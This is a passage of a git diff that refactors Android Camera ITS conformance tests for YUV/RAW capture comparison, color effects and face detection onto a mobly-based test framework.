+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['midExposureTime']
+      req = capture_request_utils.manual_capture_request(
+          s, e, 0.0, True, props)
 
-        img = its.image.convert_capture_to_rgb_image(cap_yuv)
-        its.image.write_image(img, "%s_shading=%d_yuv.jpg" % (NAME, mode), True)
-        tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-        rgb0 = its.image.compute_image_means(tile)
+      mode = req['android.shading.mode']
+      logging.debug('shading mode: %d', mode)
 
-        # Raw shots are 1/2 x 1/2 smaller after conversion to RGB, but tile
-        # cropping is relative.
-        img = its.image.convert_capture_to_rgb_image(cap_raw, props=props)
-        its.image.write_image(img, "%s_shading=%d_raw.jpg" % (NAME, mode), True)
-        tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-        rgb1 = its.image.compute_image_means(tile)
+      max_raw_size = capture_request_utils.get_available_output_sizes(
+          'raw', props)[0]
+      w, h = capture_request_utils.get_available_output_sizes(
+          'yuv', props, MAX_IMG_SIZE, max_raw_size)[0]
+      out_surfaces = [{'format': 'raw'},
+                      {'format': 'yuv', 'width': w, 'height': h}]
+      cap_raw, cap_yuv = cam.do_capture(req, out_surfaces)
 
-        rms_diff = math.sqrt(
-                sum([pow(rgb0[i] - rgb1[i], 2.0) for i in range(3)]) / 3.0)
-        msg = "RMS difference: %.4f, spec: %.3f" % (rms_diff,
-                                                    THRESHOLD_MAX_RMS_DIFF)
-        print msg
-        assert rms_diff < THRESHOLD_MAX_RMS_DIFF, msg
+      img = image_processing_utils.convert_capture_to_rgb_image(cap_yuv)
+      image_processing_utils.write_image(img, '%s_shading=%d_yuv.jpg' % (
+          os.path.join(log_path, NAME), mode), True)
+      patch = image_processing_utils.get_image_patch(
+          img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+      rgb_means_yuv = image_processing_utils.compute_image_means(patch)
 
-if __name__ == "__main__":
-    main()
+      # RAW shots are 1/2 x 1/2 smaller after conversion to RGB, but patch
+      # cropping is relative.
+      img = image_processing_utils.convert_capture_to_rgb_image(
+          cap_raw, props=props)
+      image_processing_utils.write_image(img, '%s_shading=%d_raw.jpg' % (
+          os.path.join(log_path, NAME), mode), True)
+      patch = image_processing_utils.get_image_patch(
+          img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+      rgb_means_raw = image_processing_utils.compute_image_means(patch)
+
+      rms_diff = image_processing_utils.compute_image_rms_difference(
+          rgb_means_yuv, rgb_means_raw)
+      msg = 'RMS diff: %.4f, spec: %.3f' % (rms_diff, THRESHOLD_MAX_RMS_DIFF)
+      logging.debug('%s', msg)
+      assert rms_diff < THRESHOLD_MAX_RMS_DIFF, msg
+
+if __name__ == '__main__':
+  test_runner.main()
 
diff --git a/apps/CameraITS/tests/scene1_2/test_yuv_plus_raw10.py b/apps/CameraITS/tests/scene1_2/test_yuv_plus_raw10.py
index 6e700b7..4b763c7 100644
--- a/apps/CameraITS/tests/scene1_2/test_yuv_plus_raw10.py
+++ b/apps/CameraITS/tests/scene1_2/test_yuv_plus_raw10.py
@@ -11,64 +11,94 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies RAW10 and YUV images are similar."""
 
-import math
+
+import logging
 import os.path
-import its.caps
-import its.device
-import its.image
-import its.objects
-import its.target
+from mobly import test_runner
 
-NAME = os.path.basename(__file__).split(".")[0]
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+MAX_IMG_SIZE = (1920, 1080)
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
 THRESHOLD_MAX_RMS_DIFF = 0.035
 
 
-def main():
-    """Test capturing a single frame as both RAW10 and YUV outputs."""
+class YuvPlusRaw10Test(its_base_test.ItsBaseTest):
+  """Test capturing a single frame as both RAW10 and YUV outputs."""
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.compute_target_exposure(props) and
-                             its.caps.raw10(props) and
-                             its.caps.per_frame_control(props) and
-                             not its.caps.mono_camera(props))
+  def test_yuv_plus_raw10(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
 
-        # Use a manual request with a linear tonemap so that the YUV and RAW
-        # should look the same (once converted by the its.image module).
-        e, s = its.target.get_target_exposure_combos(cam)["midExposureTime"]
-        req = its.objects.manual_capture_request(s, e, 0.0, True, props)
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.raw10(props) and
+          camera_properties_utils.per_frame_control(props) and
+          not camera_properties_utils.mono_camera(props))
 
-        mode = req["android.shading.mode"]
-        print "shading mode:", mode
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        max_raw10_size = its.objects.get_available_output_sizes("raw10",
-                                                                props)[0]
-        w, h = its.objects.get_available_output_sizes(
-                "yuv", props, (1920, 1080), max_raw10_size)[0]
-        out_surfaces = [{"format": "raw10"},
-                        {"format": "yuv", "width": w, "height": h}]
-        cap_raw, cap_yuv = cam.do_capture(req, out_surfaces)
+      # Use a manual request with a linear tonemap so that the YUV and RAW
+      # look the same (once converted by the image_processing_utils module).
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['midExposureTime']
+      req = capture_request_utils.manual_capture_request(
+          s, e, 0.0, True, props)
 
-        img = its.image.convert_capture_to_rgb_image(cap_yuv)
-        its.image.write_image(img, "%s_shading=%d_yuv.jpg" % (NAME, mode), True)
-        tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-        rgb0 = its.image.compute_image_means(tile)
+      mode = req['android.shading.mode']
+      logging.debug('shading mode: %d', mode)
 
-        # Raw shots are 1/2 x 1/2 smaller after conversion to RGB, but tile
-        # cropping is relative.
-        img = its.image.convert_capture_to_rgb_image(cap_raw, props=props)
-        its.image.write_image(img, "%s_shading=%d_raw.jpg" % (NAME, mode), True)
-        tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-        rgb1 = its.image.compute_image_means(tile)
+      max_raw10_size = capture_request_utils.get_available_output_sizes(
+          'raw10', props)[0]
+      w, h = capture_request_utils.get_available_output_sizes(
+          'yuv', props, MAX_IMG_SIZE, max_raw10_size)[0]
+      out_surfaces = [{'format': 'raw10'},
+                      {'format': 'yuv', 'width': w, 'height': h}]
+      cap_raw, cap_yuv = cam.do_capture(req, out_surfaces)
 
-        rms_diff = math.sqrt(
-                sum([pow(rgb0[i] - rgb1[i], 2.0) for i in range(3)]) / 3.0)
-        msg = "RMS difference: %.4f, spec: %.3f" % (rms_diff,
-                                                    THRESHOLD_MAX_RMS_DIFF)
-        print msg
-        assert rms_diff < THRESHOLD_MAX_RMS_DIFF, msg
+      img = image_processing_utils.convert_capture_to_rgb_image(cap_yuv)
+      image_processing_utils.write_image(img, '%s_shading=%d_yuv.jpg' % (
+          os.path.join(log_path, NAME), mode), True)
+      patch = image_processing_utils.get_image_patch(
+          img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+      rgb_means_yuv = image_processing_utils.compute_image_means(patch)
 
-if __name__ == "__main__":
-    main()
+      # RAW shots are 1/2 x 1/2 smaller after conversion to RGB, but patch
+      # cropping is relative.
+      img = image_processing_utils.convert_capture_to_rgb_image(
+          cap_raw, props=props)
+      image_processing_utils.write_image(img, '%s_shading=%d_raw10.jpg' % (
+          os.path.join(log_path, NAME), mode), True)
+      patch = image_processing_utils.get_image_patch(
+          img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+      rgb_means_raw = image_processing_utils.compute_image_means(patch)
+
+      rms_diff = image_processing_utils.compute_image_rms_difference(
+          rgb_means_yuv, rgb_means_raw)
+      msg = 'RMS diff: %.4f, spec: %.3f' % (rms_diff, THRESHOLD_MAX_RMS_DIFF)
+      logging.debug('%s', msg)
+      assert rms_diff < THRESHOLD_MAX_RMS_DIFF, msg
+
+if __name__ == '__main__':
+  test_runner.main()
 
diff --git a/apps/CameraITS/tests/scene1_2/test_yuv_plus_raw12.py b/apps/CameraITS/tests/scene1_2/test_yuv_plus_raw12.py
index 75e70ae..4d1b778 100644
--- a/apps/CameraITS/tests/scene1_2/test_yuv_plus_raw12.py
+++ b/apps/CameraITS/tests/scene1_2/test_yuv_plus_raw12.py
@@ -11,63 +11,94 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies RAW12 and YUV images are similar."""
 
-import math
+
+import logging
 import os.path
+from mobly import test_runner
 
-import its.caps
-import its.device
-import its.image
-import its.objects
-import its.target
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
 
-NAME = os.path.basename(__file__).split(".")[0]
+MAX_IMG_SIZE = (1920, 1080)
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
 THRESHOLD_MAX_RMS_DIFF = 0.035
 
 
-def main():
-    """Test capturing a single frame as both RAW12 and YUV outputs.
-    """
+class YuvPlusRaw12Test(its_base_test.ItsBaseTest):
+  """Test capturing a single frame as both RAW12 and YUV outputs."""
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.compute_target_exposure(props) and
-                             its.caps.raw12(props) and
-                             its.caps.per_frame_control(props) and
-                             not its.caps.mono_camera(props))
+  def test_yuv_plus_raw12(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
 
-        # Use a manual request with a linear tonemap so that the YUV and RAW
-        # should look the same (once converted by the its.image module).
-        e, s = its.target.get_target_exposure_combos(cam)["midExposureTime"]
-        req = its.objects.manual_capture_request(s, e, 0.0, True, props)
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.raw12(props) and
+          camera_properties_utils.per_frame_control(props) and
+          not camera_properties_utils.mono_camera(props))
 
-        max_raw12_size = \
-                its.objects.get_available_output_sizes("raw12", props)[0]
-        w, h = its.objects.get_available_output_sizes(
-                "yuv", props, (1920, 1080), max_raw12_size)[0]
-        cap_raw, cap_yuv = cam.do_capture(
-                req, [{"format": "raw12"},
-                      {"format": "yuv", "width": w, "height": h}])
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        img = its.image.convert_capture_to_rgb_image(cap_yuv)
-        its.image.write_image(img, "%s_yuv.jpg" % (NAME), True)
-        tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-        rgb0 = its.image.compute_image_means(tile)
+      # Use a manual request with a linear tonemap so that the YUV and RAW
+      # look the same (once converted by the image_processing_utils module).
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['midExposureTime']
+      req = capture_request_utils.manual_capture_request(
+          s, e, 0.0, True, props)
 
-        # Raw shots are 1/2 x 1/2 smaller after conversion to RGB, but tile
-        # cropping is relative.
-        img = its.image.convert_capture_to_rgb_image(cap_raw, props=props)
-        its.image.write_image(img, "%s_raw.jpg" % (NAME), True)
-        tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-        rgb1 = its.image.compute_image_means(tile)
+      mode = req['android.shading.mode']
+      logging.debug('shading mode: %d', mode)
 
-        rms_diff = math.sqrt(
-                sum([pow(rgb0[i] - rgb1[i], 2.0) for i in range(3)]) / 3.0)
-        print "RMS difference:", rms_diff
-        msg = "RMS difference: %.4f, spec: %.3f" % (rms_diff,
-                                                    THRESHOLD_MAX_RMS_DIFF)
-        assert rms_diff < THRESHOLD_MAX_RMS_DIFF, msg
+      max_raw12_size = capture_request_utils.get_available_output_sizes(
+          'raw12', props)[0]
+      w, h = capture_request_utils.get_available_output_sizes(
+          'yuv', props, MAX_IMG_SIZE, max_raw12_size)[0]
+      out_surfaces = [{'format': 'raw12'},
+                      {'format': 'yuv', 'width': w, 'height': h}]
+      cap_raw, cap_yuv = cam.do_capture(req, out_surfaces)
+
+      img = image_processing_utils.convert_capture_to_rgb_image(cap_yuv)
+      image_processing_utils.write_image(img, '%s_shading=%d_yuv.jpg' % (
+          os.path.join(log_path, NAME), mode), True)
+      patch = image_processing_utils.get_image_patch(
+          img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+      rgb_means_yuv = image_processing_utils.compute_image_means(patch)
+
+      # RAW shots are 1/2 x 1/2 smaller after conversion to RGB, but patch
+      # cropping is relative.
+      img = image_processing_utils.convert_capture_to_rgb_image(
+          cap_raw, props=props)
+      image_processing_utils.write_image(img, '%s_shading=%d_raw12.jpg' % (
+          os.path.join(log_path, NAME), mode), True)
+      patch = image_processing_utils.get_image_patch(
+          img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+      rgb_means_raw = image_processing_utils.compute_image_means(patch)
+
+      rms_diff = image_processing_utils.compute_image_rms_difference(
+          rgb_means_yuv, rgb_means_raw)
+      msg = 'RMS diff: %.4f, spec: %.3f' % (rms_diff, THRESHOLD_MAX_RMS_DIFF)
+      logging.debug('%s', msg)
+      assert rms_diff < THRESHOLD_MAX_RMS_DIFF, msg
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
 
diff --git a/apps/CameraITS/tests/scene2_a/test_effects.py b/apps/CameraITS/tests/scene2_a/test_effects.py
index e3ff30f..b437194 100644
--- a/apps/CameraITS/tests/scene2_a/test_effects.py
+++ b/apps/CameraITS/tests/scene2_a/test_effects.py
@@ -11,15 +11,21 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies android.control.availableEffects that are supported."""
 
+
+import logging
 import os.path
-import its.caps
-import its.device
-import its.image
-import its.objects
+from mobly import test_runner
 import numpy as np
 
-# android.control.availableEffects
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+# android.control.availableEffects possible values
 EFFECTS = {0: 'OFF',
            1: 'MONO',
            2: 'NEGATIVE',
@@ -30,76 +36,89 @@
            7: 'BLACKBOARD',
            8: 'AQUA'}
 MONO_UV_SPREAD_MAX = 2  # max spread for U & V channels [0:255] for mono image
-NAME = os.path.basename(__file__).split('.')[0]
-W, H = 640, 480
-YUV_MAX = 255.0  # normalization number for YUV images [0:1] --> [0:255]
-YUV_UV_SPREAD_MIN = 10  # min spread for U & V channels [0:255] for color image
-YUV_Y_SPREAD_MIN = 50  # min spread for Y channel [0:255] for color image
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+VGA_W, VGA_H = 640, 480
+YUV_MAX = 255  # normalization number for YUV images [0:1] --> [0:255]
+YUV_UV_SPREAD_ATOL = 10  # min spread for U & V channels [0:255] for color image
+YUV_Y_SPREAD_ATOL = 50  # min spread for Y channel [0:255] for color image
 
 
-def main():
-    """Test effects.
+class EffectsTest(its_base_test.ItsBaseTest):
+  """Test effects.
 
-    Test: capture frame for supported camera effects and check if generated
-    correctly. Note we only check effects OFF and MONO currently, but save
-    images for all supported effects.
-    """
+  Test: capture frame for supported camera effects and check if generated
+  correctly. Note we only check effects OFF and MONO currently. Other effects
+  do not have standardized definitions, so they are not tested.
+  However, the test saves images for all supported effects.
+  """
 
-    print '\nStarting %s' % NAME
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        mono_camera = its.caps.mono_camera(props)
-        effects = props['android.control.availableEffects']
-        its.caps.skip_unless(effects != [0])
-        cam.do_3a(mono_camera=mono_camera)
-        print 'Supported effects:', effects
-        failed = []
-        for effect in effects:
-            req = its.objects.auto_capture_request()
-            req['android.control.effectMode'] = effect
-            fmt = {'format': 'yuv', 'width': W, 'height': H}
-            cap = cam.do_capture(req, fmt)
+  def test_effects(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      mono_camera = camera_properties_utils.mono_camera(props)
 
-            # Save image
-            img = its.image.convert_capture_to_rgb_image(cap, props=props)
-            its.image.write_image(img, '%s_%s.jpg' % (NAME, EFFECTS[effect]))
+      # Load chart for scene.
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-            # Simple checks
-            if effect is 0:
-                print 'Checking effects OFF...'
-                y, u, v = its.image.convert_capture_to_planes(cap, props)
-                y_min, y_max = np.amin(y)*YUV_MAX, np.amax(y)*YUV_MAX
-                msg = 'Y_range:%.f,%.f THRESH:%d, ' % (
-                        y_min, y_max, YUV_Y_SPREAD_MIN)
-                if (y_max-y_min) < YUV_Y_SPREAD_MIN:
-                    failed.append({'effect': EFFECTS[effect], 'error': msg})
-                if not mono_camera:
-                    u_min, u_max = np.amin(u)*YUV_MAX, np.amax(u)*YUV_MAX
-                    v_min, v_max = np.amin(v)*YUV_MAX, np.amax(v)*YUV_MAX
-                    msg += 'U_range:%.f,%.f THRESH:%d, ' % (
-                            u_min, u_max, YUV_UV_SPREAD_MIN)
-                    msg += 'V_range:%.f,%.f THRESH:%d' % (
-                            v_min, v_max, YUV_UV_SPREAD_MIN)
-                    if ((u_max-u_min) < YUV_UV_SPREAD_MIN or
-                                (v_max-v_min) < YUV_UV_SPREAD_MIN):
-                        failed.append({'effect': EFFECTS[effect], 'error': msg})
-            if effect is 1:
-                print 'Checking MONO effect...'
-                _, u, v = its.image.convert_capture_to_planes(cap, props)
-                u_min, u_max = np.amin(u)*YUV_MAX, np.amax(u)*YUV_MAX
-                v_min, v_max = np.amin(v)*YUV_MAX, np.amax(v)*YUV_MAX
-                msg = 'U_range:%.f,%.f, ' % (u_min, u_max)
-                msg += 'V_range:%.f,%.f, TOL:%d' % (
-                        v_min, v_max, MONO_UV_SPREAD_MAX)
-                if ((u_max-u_min) > MONO_UV_SPREAD_MAX or
-                            (v_max-v_min) > MONO_UV_SPREAD_MAX):
-                    failed.append({'effect': EFFECTS[effect], 'error': msg})
-        if failed:
-            print 'Failed effects:'
-            for fail in failed:
-                print ' %s: %s' % (fail['effect'], fail['error'])
-        assert not failed
+      # Determine available effects and run test(s)
+      effects = props['android.control.availableEffects']
+      camera_properties_utils.skip_unless(effects != [0])
+      cam.do_3a(mono_camera=mono_camera)
+      logging.debug('Supported effects: %s', str(effects))
+      failed = []
+      for effect in effects:
+        req = capture_request_utils.auto_capture_request()
+        req['android.control.effectMode'] = effect
+        fmt = {'format': 'yuv', 'width': VGA_W, 'height': VGA_H}
+        cap = cam.do_capture(req, fmt)
 
+        # Save image of each effect
+        img = image_processing_utils.convert_capture_to_rgb_image(
+            cap, props=props)
+        img_name = '%s_%s.jpg' % (os.path.join(self.log_path,
+                                               NAME), EFFECTS[effect])
+        image_processing_utils.write_image(img, img_name)
+
+        # Simple checks
+        if effect == 0:
+          logging.debug('Checking effects OFF...')
+          y, u, v = image_processing_utils.convert_capture_to_planes(cap, props)
+          y_min, y_max = np.amin(y)*YUV_MAX, np.amax(y)*YUV_MAX
+          e_msg = 'Y_range: %.2f,%.2f THRESH: %d; ' % (
+              y_min, y_max, YUV_Y_SPREAD_ATOL)
+          if (y_max-y_min) < YUV_Y_SPREAD_ATOL:
+            failed.append({'effect': EFFECTS[effect], 'error': e_msg})
+          if not mono_camera:
+            u_min, u_max = np.amin(u) * YUV_MAX, np.amax(u) * YUV_MAX
+            v_min, v_max = np.amin(v) * YUV_MAX, np.amax(v) * YUV_MAX
+            e_msg += 'U_range: %.2f,%.2f THRESH: %d; ' % (
+                u_min, u_max, YUV_UV_SPREAD_ATOL)
+            e_msg += 'V_range: %.2f,%.2f THRESH: %d' % (
+                v_min, v_max, YUV_UV_SPREAD_ATOL)
+            if ((u_max - u_min) < YUV_UV_SPREAD_ATOL or
+                (v_max - v_min) < YUV_UV_SPREAD_ATOL):
+              failed.append({'effect': EFFECTS[effect], 'error': e_msg})
+        elif effect == 1:
+          logging.debug('Checking MONO effect...')
+          _, u, v = image_processing_utils.convert_capture_to_planes(cap, props)
+          u_min, u_max = np.amin(u)*YUV_MAX, np.amax(u)*YUV_MAX
+          v_min, v_max = np.amin(v)*YUV_MAX, np.amax(v)*YUV_MAX
+          e_msg = 'U_range: %.2f,%.2f; V_range: %.2f,%.2f; TOL: %d' % (
+              u_min, u_max, v_min, v_max, MONO_UV_SPREAD_MAX)
+          if ((u_max - u_min) > MONO_UV_SPREAD_MAX or
+              (v_max - v_min) > MONO_UV_SPREAD_MAX):
+            failed.append({'effect': EFFECTS[effect], 'error': e_msg})
+      if failed:
+        logging.error('Failed effects:')
+        for fail in failed:
+          logging.error(' %s: %s', fail['effect'], fail['error'])
+      assert not failed
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene2_a/test_faces.py b/apps/CameraITS/tests/scene2_a/test_faces.py
index 15dd0c7..220628d 100644
--- a/apps/CameraITS/tests/scene2_a/test_faces.py
+++ b/apps/CameraITS/tests/scene2_a/test_faces.py
@@ -11,14 +11,20 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies faces are detected and landmarks in bounding boxes."""
 
+
+import logging
 import os.path
-import its.caps
-import its.device
-import its.image
-import its.objects
+from mobly import test_runner
 
-NAME = os.path.basename(__file__).split('.')[0]
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+NAME = os.path.splitext(os.path.basename(__file__))[0]
 NUM_TEST_FRAMES = 20
 FD_MODE_OFF = 0
 FD_MODE_SIMPLE = 1
@@ -26,117 +32,148 @@
 W, H = 640, 480
 
 
-def main():
-    """Test face detection.
-    """
+def check_face_bounding_box(rect, aa_w, aa_h):
+  """Check that face bounding box is within the active array area."""
+  rect_t = rect['top']
+  rect_b = rect['bottom']
+  rect_l = rect['left']
+  rect_r = rect['right']
+  if rect_t > rect_b:
+    raise AssertionError(f'Face top > bottom! t: {rect_t}, b: {rect_b}')
+  if rect_l > rect_r:
+    raise AssertionError(f'Face left > right! l: {rect_l}, r: {rect_r}')
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        props = cam.override_with_hidden_physical_camera_props(props)
-        its.caps.skip_unless(its.caps.face_detect(props))
-        mono_camera = its.caps.mono_camera(props)
-        fd_modes = props['android.statistics.info.availableFaceDetectModes']
-        a = props['android.sensor.info.activeArraySize']
-        aw, ah = a['right'] - a['left'], a['bottom'] - a['top']
-        if its.caps.read_3a(props):
-            gain, exp, _, _, focus = cam.do_3a(get_results=True,
-                                               mono_camera=mono_camera)
-            print 'iso = %d' % gain
-            print 'exp = %.2fms' % (exp*1.0E-6)
-            if focus == 0.0:
-                print 'fd = infinity'
-            else:
-                print 'fd = %.2fcm' % (1.0E2/focus)
-        for fd_mode in fd_modes:
-            assert FD_MODE_OFF <= fd_mode <= FD_MODE_FULL
-            req = its.objects.auto_capture_request()
-            req['android.statistics.faceDetectMode'] = fd_mode
-            fmt = {'format': 'yuv', 'width': W, 'height': H}
-            caps = cam.do_capture([req]*NUM_TEST_FRAMES, fmt)
-            for i, cap in enumerate(caps):
-                md = cap['metadata']
-                assert md['android.statistics.faceDetectMode'] == fd_mode
-                faces = md['android.statistics.faces']
+  if not 0 <= rect_l <= aa_w:
+    raise AssertionError(f'Face l: {rect_l} outside of active W: 0,{aa_w}')
+  if not 0 <= rect_r <= aa_w:
+    raise AssertionError(f'Face r: {rect_r} outside of active W: 0,{aa_w}')
+  if not 0 <= rect_t <= aa_h:
+    raise AssertionError(f'Face t: {rect_t} outside active H: 0,{aa_h}')
+  if not 0 <= rect_b <= aa_h:
+    raise AssertionError(f'Face b: {rect_b} outside active H: 0,{aa_h}')
 
-                # 0 faces should be returned for OFF mode
-                if fd_mode == FD_MODE_OFF:
-                    assert not faces
-                    continue
-                # Face detection could take several frames to warm up,
-                # but it should detect at least one face in last frame
-                if i == NUM_TEST_FRAMES - 1:
-                    img = its.image.convert_capture_to_rgb_image(
-                            cap, props=props)
-                    img = its.image.rotate_img_per_argv(img)
-                    img_name = '%s_fd_mode_%s.jpg' % (NAME, fd_mode)
-                    its.image.write_image(img, img_name)
-                    if not faces:
-                        print 'Error: no face detected in mode', fd_mode
-                        assert 0
-                if not faces:
-                    continue
 
-                print 'Frame %d face metadata:' % i
-                print '  Faces:', faces
-                print ''
+def check_face_landmarks(face):
+  """Check that face landmarks fall within face bounding box."""
+  l, r = face['bounds']['left'], face['bounds']['right']
+  t, b = face['bounds']['top'], face['bounds']['bottom']
+  l_eye_x, l_eye_y = face['leftEye']['x'], face['leftEye']['y']
+  r_eye_x, r_eye_y = face['rightEye']['x'], face['rightEye']['y']
+  mouth_x, mouth_y = face['mouth']['x'], face['mouth']['y']
+  if not l <= l_eye_x <= r:
+    raise AssertionError(f'Face l: {l}, r: {r}, left eye x: {l_eye_x}')
+  if not t <= l_eye_y <= b:
+    raise AssertionError(f'Face t: {t}, b: {b}, left eye y: {l_eye_y}')
+  if not l <= r_eye_x <= r:
+    raise AssertionError(f'Face l: {l}, r: {r}, right eye x: {r_eye_x}')
+  if not t <= r_eye_y <= b:
+    raise AssertionError(f'Face t: {t}, b: {b}, right eye y: {r_eye_y}')
+  if not l <= mouth_x <= r:
+    raise AssertionError(f'Face l: {l}, r: {r}, mouth x: {mouth_x}')
+  if not t <= mouth_y <= b:
+    raise AssertionError(f'Face t: {t}, b: {b}, mouth y: {mouth_y}')
 
-                face_scores = [face['score'] for face in faces]
-                face_rectangles = [face['bounds'] for face in faces]
-                for score in face_scores:
-                    assert score >= 1 and score <= 100
-                # Face bounds should be within active array
-                for j, rect in enumerate(face_rectangles):
-                    print 'Checking face rectangle %d...' % j
-                    rect_t = rect['top']
-                    rect_b = rect['bottom']
-                    rect_l = rect['left']
-                    rect_r = rect['right']
-                    assert rect_t < rect_b
-                    assert rect_l < rect_r
-                    l_msg = 'l: %d outside of active W: 0,%d' % (rect_l, aw)
-                    r_msg = 'r: %d outside of active W: 0,%d' % (rect_r, aw)
-                    t_msg = 't: %d outside active H: 0,%d' % (rect_t, ah)
-                    b_msg = 'b: %d outside active H: 0,%d' % (rect_b, ah)
-                    # Assert same order as face landmarks below
-                    assert 0 <= rect_l <= aw, l_msg
-                    assert 0 <= rect_r <= aw, r_msg
-                    assert 0 <= rect_t <= ah, t_msg
-                    assert 0 <= rect_b <= ah, b_msg
 
-                # Face landmarks are reported if and only if fd_mode is FULL
-                # Face ID should be -1 for SIMPLE and unique for FULL
-                if fd_mode == FD_MODE_SIMPLE:
-                    for face in faces:
-                        assert 'leftEye' not in face
-                        assert 'rightEye' not in face
-                        assert 'mouth' not in face
-                        assert face['id'] == -1
-                elif fd_mode == FD_MODE_FULL:
-                    face_ids = [face['id'] for face in faces]
-                    assert len(face_ids) == len(set(face_ids))
-                    # Face landmarks should be within face bounds
-                    for k, face in enumerate(faces):
-                        print 'Checking landmarks in face %d...' % k
-                        l_eye = face['leftEye']
-                        r_eye = face['rightEye']
-                        mouth = face['mouth']
-                        l, r = face['bounds']['left'], face['bounds']['right']
-                        t, b = face['bounds']['top'], face['bounds']['bottom']
-                        l_eye_x, l_eye_y = l_eye['x'], l_eye['y']
-                        r_eye_x, r_eye_y = r_eye['x'], r_eye['y']
-                        mouth_x, mouth_y = mouth['x'], mouth['y']
-                        lx_msg = 'l: %d, r: %d, x: %d' % (l, r, l_eye_x)
-                        ly_msg = 't: %d, b: %d, y: %d' % (t, b, l_eye_y)
-                        rx_msg = 'l: %d, r: %d, x: %d' % (l, r, r_eye_x)
-                        ry_msg = 't: %d, b: %d, y: %d' % (t, b, r_eye_y)
-                        mx_msg = 'l: %d, r: %d, x: %d' % (l, r, mouth_x)
-                        my_msg = 't: %d, b: %d, y: %d' % (t, b, mouth_y)
-                        assert l <= l_eye_x <= r, lx_msg
-                        assert t <= l_eye_y <= b, ly_msg
-                        assert l <= r_eye_x <= r, rx_msg
-                        assert t <= r_eye_y <= b, ry_msg
-                        assert l <= mouth_x <= r, mx_msg
-                        assert t <= mouth_y <= b, my_msg
+class FacesTest(its_base_test.ItsBaseTest):
+  """Tests face detection algorithms.
+
+  Allows NUM_TEST_FRAMES for face detection algorithm to find all faces.
+  Tests OFF, SIMPLE, and FULL modes if available.
+    OFF --> no faces should be found.
+    SIMPLE --> face(s) should be found, but no landmarks.
+    FULL --> face(s) should be found and face landmarks reported.
+  """
+
+  def test_faces(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+
